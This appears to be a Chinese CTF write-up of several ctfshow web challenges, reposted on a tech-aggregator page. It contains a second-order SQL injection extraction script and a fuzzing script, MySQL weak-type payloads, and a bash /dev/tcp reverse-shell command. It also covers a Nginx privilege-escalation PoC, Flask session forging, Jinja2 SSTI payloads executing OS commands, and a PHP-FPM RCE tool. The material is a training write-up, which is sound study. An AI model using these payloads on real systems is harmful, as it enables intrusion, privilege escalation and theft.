IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTF训练之路2--ctfshow内部赛 -> 正文阅读

[PHP知识库]CTF训练之路2--ctfshow内部赛

签到

一进去就是login界面,F12看到有个register.php,说明就是一个二次注入的sql注入题。

所谓二次注入,就是再register中构造sql语句,然后登录login来触发。

找到羽师傅的脚本

import requests
import re

url_register = "http://7b093e85-e6d5-4784-adab-49ba20992eda.challenge.ctf.show/register.php"
url_login = "http://7b093e85-e6d5-4784-adab-49ba20992eda.challenge.ctf.show/login.php"
flag = ''
#这儿50其实是在看看flag的字符
for i in range(1, 50):
    # 为什么要加两个hex,因为前端不超过10,不能限制,后端会判断是否为数字
    # select语句,基本就是猜的
    payload = "hex(hex(substr((select/**/flag/**/from/**/flag)from/**/" + str(i) + "/**/for/**/1))),/*"# from 1 for 1,相当与substr("",1,1)
    print(payload)
    s = requests.session()# 保持所有的请求都使用一个cookie,解决了cookie的问题
    # 利用email去与username相连接,单引号先闭合,再传payload,
    data1 = {
        'e': str(i + 30) + "',username=" + payload, #猜测insert语句
        'u': "*/#",
        'p': i + 30
    }
    # print(data1['e'])
    r1 = s.post(url_register, data=data1)
    data2 = {
        'e': i + 30,
        'p': i + 30
    }
    r2 = s.post(url_login, data=data2)
    t = r2.text
    # 登录,是用eamil和password登录,显示是username显示,说明可以通过这来得flag
    real = re.findall("Hello (.*?),", t)[0]
    flag += real
    print(flag)
感叹:确实写脚本,效果明显

登录就有flag

考点:mysql弱类型

直接开始sql注入,先用bp fuzz,但是我的出了点问题

直接python fuzz吧

import requests

url="http://4bb5058d-d788-4c7b-b8d8-b760e2f34efe.challenge.ctf.show/check.php"
with open("a.txt","r") as f:
    for test in f.readlines():
        data={
            "u":test.strip(),
            "p":"123"
        }
        response=requests.post(url=url,data=data)
        if "hack?"  not in response.text:
            if "long" not in response.text:
                print(test.strip())

这个题,首先除了过滤了字符,而且还限制了长度(5个)

我们利用

# ' ^ 0

分号可以用于闭合,井号可以用于注释,^进行异或运算,等号就是判等,这里需要利用sql的一个点“mysql弱类型转换”,空异或0会查到所有非数字开头的记录

payload

'^0#
'^''#

出题人不想跟你说话.jpg

考点:就是个反弹shell
题干:
为了降低难度,漏洞大约每两分钟触发一次
hint1: whoami && ls -l /
hint2:如你们所说,提权,看看服务器有什么服务
image-20211103211643174
猜测可以使用菜刀连接,密码为cai,进入根目录发现flag,但没有权限打开,猜测需要提权
image-20211103212009458

漏洞每两分钟触发一次,可能有定时任务:cat /etc/crontab

/etc/crontab,就是可以查看定时任务

image-20211103212232274
发现底部有一个一分钟的定时任务
先看看基本信息
lsb_release -a,列出所有linux系统版本信息
nginx -v,列出nginx版本信息

lsb_release
-v 显示版本信息。
-i 显示发行版的id。
-d 显示该发行版的描述信息。
-r 显示当前系统是发行版的具体版本号。
-c 发行版代号。
-a 显示上面的所有信息。
-h 显示帮助信息。

nginx
nginx -s reopen #重启Nginx
nginx -s reload #重新加载Nginx配置文件,然后以优雅的方式重启Nginx
nginx -s stop #强制停止Nginx服务
killall nginx #杀死所有nginx进程  
nginx -s quit #优雅地停止Nginx服务(即处理完所有请求后再停止服务)

nginx -t #检测配置文件是否有语法错误,然后退出
nginx -v #显示版本信息并退出
nginx -V #显示版本和配置选项信息,然后退出
nginx -t #检测配置文件是否有语法错误,然后退出
nginx -T #检测配置文件是否有语法错误,转储并退出
nginx -q #在检测配置文件期间屏蔽非错误信息

nginx -?,-h #打开帮助信息  
nginx -p prefix #设置前缀路径(默认是:/usr/share/nginx/)
nginx -c filename #设置配置文件(默认是:/etc/nginx/nginx.conf)
nginx -g directives #设置配置文件外的全局指令

得到
Ubuntu 14.04.5 LTS
nginx/1.4.6 (Ubuntu)

找到利用漏洞:Nginx权限提升漏洞(CVE-2016-1247)

下述版本之前均存在此漏洞:

 Debian: Nginx1.6.2-5+deb8u3
 Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
 Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
 Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1

下载对应POC(第V部分):CVE-2016-1247

将POC上传到服务器(nginx.sh)

注意:创建POC需要在linux系统中创建,否则运行时会报错“/bin/bash^M: bad interpreter: No such file or directory”,这是由于脚本文件的格式不同,linux却是只能执行格式为unix格式的脚本。如果在windows下创建则会变成dos格式。

通过cat -A filename查看格式,dos格式的文件行尾为^M$ ,unix格式的文件行尾为$。

q
最基本的反弹shell

使用自己的服务器监听用于反弹shell

nc -lvvn 39543

在被攻击服务器上开启反弹

bash -i >& /dev/tcp/addr/port 0>&1

关于nc的命令

-g<网关> 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。

image-20211103223227243
反弹成功后运行POC(一定在自己的html文件目录下)

chmod a+rwx nginx.sh
./nginx.sh
./nginx.sh /var/log/nginx/error.log
Linux chmod(英文全拼:change mode)命令是控制用户对文件的权限的命令,这里a代表所用用户,\+ 表示增加权限,r 表示可读取,w 表示可写入,x 表示可执行。

image-20211103223355471
等待漏洞生效即可拿到shell
image-20211103223135821

蓝廋

flask的session伪造
直接脚本
可以看看笔者的文章

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

secret_key:源码中的ican
替换为admin.(还是在linux生成)
进去后,发现缺少该参数,需要GET或者POST参数
发现是个SSTI,payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}

说flag在内存,那么查看环境变量:Linux查看环境变量使用env命令显示所有的环境变量

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()") }}{% endif %}{% endfor %}

一览无余(需要再次学习)

直接看wp发现为CVE-2019-11043
利用工具:PHuiP-FPizdaM
在这里插入图片描述
执行成功,那么即可得到flag
p神友情提示:您应该注意,只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。

参考:PHP-FPM 远程代码执行漏洞(CVE-2019-11043)
PHP 远程代码执行漏洞复现(CVE-2019-11043)【反弹shell成功】

签退

代码

<?php ($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__);

参考资料

关于反弹shell的资料

https://xz.aliyun.com/t/2548(入手)
https://xz.aliyun.com/t/2549(入手)
https://www.freebuf.com/articles/system/178150.html
https://www.freebuf.com/articles/web/247967.html(总结)

wp

https://blog.csdn.net/bmth666/article/details/108929655?ops_request_misc=%7B%22request%5Fid%22%3A%22163550449116780265453248%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=163550449116780265453248&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-108929655.pc_search_ecpm_flag&utm_term=ctfshow%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95&spm=1018.2226.3001.4187
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-09 19:14:44  更:2021-11-09 19:14:54 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:45:09-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码